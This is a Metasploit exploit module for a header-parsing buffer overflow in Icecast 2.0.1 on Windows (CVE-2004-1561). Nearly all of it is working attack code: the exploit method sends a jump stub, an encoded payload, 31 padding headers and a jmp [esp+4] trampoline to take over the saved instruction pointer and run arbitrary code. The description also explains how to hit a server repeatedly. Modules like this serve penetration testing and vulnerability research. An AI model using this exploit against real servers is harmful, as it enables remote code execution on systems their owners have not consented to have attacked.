Icecast 2.0.1 (Windows x86) – Header Overwrite (Metasploit)
## # $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Icecast (<= 2.0.1) Header Overwrite (win32)', 'Description' => %q{ This module exploits a buffer overflow in the header parsing of icecast, discovered by Luigi Auriemma. Sending 32 HTTP headers will cause a write one past the end of a pointer array. On win32 this happens to overwrite the saved instruction pointer, and on linux (depending on compiler, etc) this seems to generally overwrite nothing crucial (read not exploitable). !! This exploit uses ExitThread(), this will leave icecast thinking the thread is still in use, and the thread counter won't be decremented. This means for each time your payload exits, the counter will be left incremented, and eventually the threadpool limit will be maxed. So you can multihit, but only till you fill the threadpool. }, 'Author' => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2004-1561'], [ 'OSVDB', '10406'], [ 'BID', '11271'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x0d\x0a\x00", 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 28 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8000) ], self.class) end # Interesting that ebp is pushed after the local variables, and the line array # is right before the saved eip, so overrunning it just by 1 element overwrites # eip, making an interesting exploit.... # .text:00414C00 sub esp, 94h # .text:00414C06 push ebx # .text:00414C07 push ebp # .text:00414C08 push esi def exploit connect # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance) # jmp 12 evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n" evul << "Accept: text/html\r\n" * 31; # jmp [esp+4] evul << "\xff\x64\x24\x04\r\n" evul << "\r\n" sock.put(evul) handler disconnect end end |